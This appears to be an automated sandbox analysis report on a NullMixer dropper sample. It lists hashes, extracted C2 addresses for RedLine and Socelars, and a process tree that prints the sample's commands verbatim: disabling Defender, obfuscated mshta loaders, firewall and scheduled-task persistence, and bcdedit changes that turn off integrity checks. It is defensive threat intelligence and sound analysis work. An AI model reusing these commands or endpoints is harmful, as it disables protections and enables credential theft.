Overview

overview

10

Static

static

3

9d3b35dd52...3d.exe

windows7-x64

10

9d3b35dd52...3d.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    09-11-2024 21:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    9d3b35dd52759c54dfe1d0b2853de31a745836acbbd30834237e24ea9f3a243d.exe

  • Size

    14.9MB

  • MD5

    dbae02b301fffdd6665b76125e089518

  • SHA1

    2aef5e1874ad5a4f1de05540d60b3851570d7101

  • SHA256

    9d3b35dd52759c54dfe1d0b2853de31a745836acbbd30834237e24ea9f3a243d

  • SHA512

    c12ad6d1181462b5fee6d87897cf314b83e047404f5ff2ac25870aeb90698f7c1d18df41ea4e2ac4fccd0b0f4bc33020e080a9e02c017c0e02aeaf3d468da567

  • SSDEEP

    393216:xDdgu4GHhgq4TUH4a79HTd9uSLFfb9T4U/VdtjO8z:xdgJq4TgR79HZ9vZ9TPx

Score
10/10
fabookiegluptebanullmixerprivateloaderredlinesectopratsocelars@wadiller0media22testuser01newaspackv2discoverydropperevasionexecutioninfostealerloaderpersistenceprivilege_escalationratrootkitspywarestealertrojan

Malware Config

Extracted

Family

socelars

C2

http://www.ecgbg.com/

Extracted

Family

redline

Botnet

user01new

C2

49.12.219.50:4846

Attributes
  • auth_value

    fcca1ed5af8553053dc74a4c6a9ce601

Extracted

Family

redline

Botnet

media22test

C2

91.121.67.60:51630

Attributes
  • auth_value

    e3752255984ff2c517a5d164b4c33080

Extracted

Family

redline

Botnet

@wadiller0

C2

185.154.15.4:21735

Signatures

  • Detect Fabookie payload 1 IoCs
  • Fabookie

    Fabookie is facebook account info stealer.

    spywarestealerfabookie
  • Fabookie family
    fabookie
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba family
    glupteba
  • NullMixer

    NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.

    droppernullmixer
  • Nullmixer family
    nullmixer
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • Privateloader family
    privateloader
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 3 IoCs
  • Redline family
    redline
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 1 IoCs
  • Sectoprat family
    sectoprat
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars family
    socelars
  • Socelars payload 1 IoCs
  • Windows security bypass 2 TTPs 10 IoCs
    evasiontrojan
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

    evasion
  • ASPack v2.12-2.42 3 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Executes dropped EXE 32 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 10 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 13 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 11 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\9d3b35dd52759c54dfe1d0b2853de31a745836acbbd30834237e24ea9f3a243d.exe
    "C:\Users\Admin\AppData\Local\Temp\9d3b35dd52759c54dfe1d0b2853de31a745836acbbd30834237e24ea9f3a243d.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\setup_install.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2692
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2756
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3020
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2188
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2888
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Tue121e696b2d94fe.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2152
        • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue121e696b2d94fe.exe
          Tue121e696b2d94fe.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2116
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue121e696b2d94fe.exe
            "C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue121e696b2d94fe.exe" -u
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2004
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Tue120ba2d3df.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2400
        • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue120ba2d3df.exe
          Tue120ba2d3df.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1828
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\System32\mshta.exe" VbSCRIPT: CLoSe ( CreAtEoBject ( "WSCrIPT.sheLL" ). RUn ( "cmD.ExE /q /r TYPe ""C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue120ba2d3df.exe"" > YFBh.exE && staRt YFBH.EXe -pM6ql1llc4LCunhpM & If """" == """" for %h IN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue120ba2d3df.exe"" ) do taskkill /F -Im ""%~Nxh"" " , 0 , trUe ) )
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2556
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /q /r TYPe "C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue120ba2d3df.exe" > YFBh.exE && staRt YFBH.EXe -pM6ql1llc4LCunhpM & If "" == "" for %h IN ( "C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue120ba2d3df.exe" ) do taskkill /F -Im "%~Nxh"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2776
              • C:\Users\Admin\AppData\Local\Temp\YFBh.exE
                YFBH.EXe -pM6ql1llc4LCunhpM
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2172
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\System32\mshta.exe" VbSCRIPT: CLoSe ( CreAtEoBject ( "WSCrIPT.sheLL" ). RUn ( "cmD.ExE /q /r TYPe ""C:\Users\Admin\AppData\Local\Temp\YFBh.exE"" > YFBh.exE && staRt YFBH.EXe -pM6ql1llc4LCunhpM & If ""-pM6ql1llc4LCunhpM "" == """" for %h IN ( ""C:\Users\Admin\AppData\Local\Temp\YFBh.exE"" ) do taskkill /F -Im ""%~Nxh"" " , 0 , trUe ) )
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Modifies Internet Explorer settings
                  PID:2728
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /q /r TYPe "C:\Users\Admin\AppData\Local\Temp\YFBh.exE" > YFBh.exE && staRt YFBH.EXe -pM6ql1llc4LCunhpM & If "-pM6ql1llc4LCunhpM " == "" for %h IN ( "C:\Users\Admin\AppData\Local\Temp\YFBh.exE" ) do taskkill /F -Im "%~Nxh"
                    9⤵
                    • System Location Discovery: System Language Discovery
                    PID:2484
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\System32\mshta.exe" VBsCrIpT: clOSe ( CreATEObjeCt ( "WsCriPT.sheLL" ). ruN ( "Cmd.exe /q /c Echo | SeT /P = ""MZ"" > ylDS9MD.oZ & CoPy /B /Y YlDS9MD.OZ + 7YBr4YIV.4 + L8jNB.A + Kkyl.Ybx + YHDI9E.EIU + KsN5NH.WJU NKGtN.2& STaRt control .\NKGTN.2 " , 0 , trUe ) )
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Modifies Internet Explorer settings
                  PID:1452
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /q /c Echo | SeT /P = "MZ" > ylDS9MD.oZ& CoPy /B /Y YlDS9MD.OZ + 7YBr4YIV.4 + L8jNB.A + Kkyl.Ybx + YHDI9E.EIU + KsN5NH.WJU NKGtN.2& STaRt control .\NKGTN.2
                    9⤵
                    • System Location Discovery: System Language Discovery
                    PID:1584
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" Echo "
                      10⤵
                      • System Location Discovery: System Language Discovery
                      PID:1192
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" SeT /P = "MZ" 1>ylDS9MD.oZ"
                      10⤵
                      • System Location Discovery: System Language Discovery
                      PID:928
                    • C:\Windows\SysWOW64\control.exe
                      control .\NKGTN.2
                      10⤵
                      • System Location Discovery: System Language Discovery
                      PID:844
                      • C:\Windows\SysWOW64\rundll32.exe
                        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\NKGTN.2
                        11⤵
                        • System Location Discovery: System Language Discovery
                        PID:608
                        • C:\Windows\system32\RunDll32.exe
                          C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\NKGTN.2
                          12⤵
                            PID:2700
                            • C:\Windows\SysWOW64\rundll32.exe
                              "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\NKGTN.2
                              13⤵
                              • Blocklisted process makes network request
                              • System Location Discovery: System Language Discovery
                              PID:2760
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F -Im "Tue120ba2d3df.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1760
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue12b645e6648.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2120
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue12b645e6648.exe
            Tue12b645e6648.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:1340
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c taskkill /f /im chrome.exe
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2432
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /f /im chrome.exe
                6⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2992
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue127d1be88dd70f8.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2100
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue127d1be88dd70f8.exe
            Tue127d1be88dd70f8.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:3028
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue12b505de68357.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2144
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue12b505de68357.exe
            Tue12b505de68357.exe
            4⤵
            • Executes dropped EXE
            PID:1944
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue12536443c2c8.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1048
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue12536443c2c8.exe
            Tue12536443c2c8.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1416
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:3044
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue1239d4b60d.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1620
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue1239d4b60d.exe
            Tue1239d4b60d.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:1384
            • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue1239d4b60d.exe
              C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue1239d4b60d.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2884
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue1264f7b252.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:860
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue1264f7b252.exe
            Tue1264f7b252.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2836
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue129ba086d712.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:3004
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue129ba086d712.exe
            Tue129ba086d712.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:1440
            • C:\Users\Admin\AppData\Local\Temp\is-9HKSK.tmp\Tue129ba086d712.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-9HKSK.tmp\Tue129ba086d712.tmp" /SL5="$70192,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue129ba086d712.exe"
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:1680
              • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue129ba086d712.exe
                "C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue129ba086d712.exe" /SILENT
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2028
                • C:\Users\Admin\AppData\Local\Temp\is-D78U2.tmp\Tue129ba086d712.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-D78U2.tmp\Tue129ba086d712.tmp" /SL5="$70160,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue129ba086d712.exe" /SILENT
                  7⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: GetForegroundWindowSpam
                  PID:2552
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue125fd9410f80dd6.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:3048
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue125fd9410f80dd6.exe
            Tue125fd9410f80dd6.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:448
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 448 -s 272
              5⤵
              • Program crash
              PID:2812
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue127ff3b5477.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:3000
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue127ff3b5477.exe
            Tue127ff3b5477.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:2136
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue123e8bf9beda40e5.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1692
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue123e8bf9beda40e5.exe
            Tue123e8bf9beda40e5.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:1772
            • C:\Users\Admin\AppData\Local\Temp\is-P53VS.tmp\Tue123e8bf9beda40e5.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-P53VS.tmp\Tue123e8bf9beda40e5.tmp" /SL5="$6015E,1104945,831488,C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue123e8bf9beda40e5.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              PID:1188
              • C:\Program Files (x86)\Gparted\Build.sfx.exe
                "C:\Program Files (x86)\Gparted\Build.sfx.exe" -p123 -s1
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • System Location Discovery: System Language Discovery
                PID:1540
                • C:\Program Files (x86)\Gparted\Build.exe
                  "C:\Program Files (x86)\Gparted\Build.exe"
                  7⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Modifies system certificate store
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2172
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
                    8⤵
                    • Drops file in Program Files directory
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2392
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.bing.com
                    8⤵
                    • Drops file in Program Files directory
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2704
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.yahoo.com
                    8⤵
                    • Drops file in Program Files directory
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2076
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 1668
                    8⤵
                    • Program crash
                    PID:1264
              • C:\Program Files (x86)\Gparted\gimagex.exe
                "C:\Program Files (x86)\Gparted\gimagex.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2780
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue12d6c3a590f5c.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2568
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue12d6c3a590f5c.exe
            Tue12d6c3a590f5c.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:1996
            • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue12d6c3a590f5c.exe
              C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue12d6c3a590f5c.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2924
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue122eaa5d903b51f3.exe /mixtwo
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1752
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue122eaa5d903b51f3.exe
            Tue122eaa5d903b51f3.exe /mixtwo
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2000
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue12f72da5484b.exe
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1424
          • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue12f72da5484b.exe
            Tue12f72da5484b.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1672
            • C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue12f72da5484b.exe
              "C:\Users\Admin\AppData\Local\Temp\7zSC5B35246\Tue12f72da5484b.exe"
              5⤵
              • Windows security bypass
              • Executes dropped EXE
              • Windows security modification
              • Adds Run key to start application
              • Checks for VirtualBox DLLs, possible anti-VM trick
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              PID:2164
              • C:\Windows\system32\cmd.exe
                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                6⤵
                  PID:1008
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                    7⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    • Modifies data under HKEY_USERS
                    PID:1264
                • C:\Windows\rss\csrss.exe
                  C:\Windows\rss\csrss.exe /306-306
                  6⤵
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  • Manipulates WinMon driver.
                  • Manipulates WinMonFS driver.
                  • System Location Discovery: System Language Discovery
                  • Modifies system certificate store
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2340
                  • C:\Windows\system32\schtasks.exe
                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1732
                  • C:\Windows\system32\schtasks.exe
                    schtasks /delete /tn ScheduledUpdate /f
                    7⤵
                      PID:928
                    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                      7⤵
                      • Executes dropped EXE
                      • Modifies system certificate store
                      PID:1912
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2224
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2232
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2024
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:1472
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2420
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2720
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2000
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2728
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2872
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:668
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:1656
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -timeout 0
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:1864
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                        8⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2444
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\Sysnative\bcdedit.exe /v
                      7⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1640
                    • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
